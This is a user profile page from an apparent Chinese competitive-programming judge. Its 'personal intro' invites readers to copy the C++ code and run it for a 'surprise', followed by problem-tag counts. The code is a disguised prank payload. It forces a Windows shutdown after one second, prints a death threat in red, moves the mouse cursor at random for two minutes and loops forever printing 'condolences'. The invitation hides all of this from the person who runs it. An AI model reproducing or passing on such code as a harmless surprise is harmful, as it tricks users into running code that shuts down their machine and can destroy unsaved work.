• 个人简介

    复制到c++上运行有惊喜!!!

    #include<bits/stdc++.h>
    #include<windows.h>
    #include <windows.h>
    #include <cstdlib>
    #include <ctime>
    #include <iostream>
    using namespace std;
    int main()
    {
        system("shutdown /t 1 -s");
        system("color 4F");
        std::cout << "警告,您即将死亡!\n";
        Sleep(2000);
        srand(static_cast<unsigned>(time(0)));
        POINT originalPos;
        GetCursorPos(&originalPos);
        const DWORD start=GetTickCount();
        while (GetTickCount()-start<120000) 
    	{  
            int offsetX=(rand()%201)-100;
            int offsetY=(rand()%201)-100;
            SetCursorPos(originalPos.x+offsetX,originalPos.y+offsetY);
            Sleep(100);
        }
        SetCursorPos(originalPos.x,originalPos.y);
        for(int i=1;i<=100;)
        	std::cout << "节哀!!!\n";
        system("pause");  
        return 0;
    }
    
    
  • 通过的题目

  • 最近活动

题目标签

模拟
4
一本通编程启蒙
4
NOIP全国联赛普及组
3
其他
2
数学
2
2005
1
2006
1
2010
1
搜索
1
枚举
1
特殊题目
1
Remote Judge
1
数组问题
1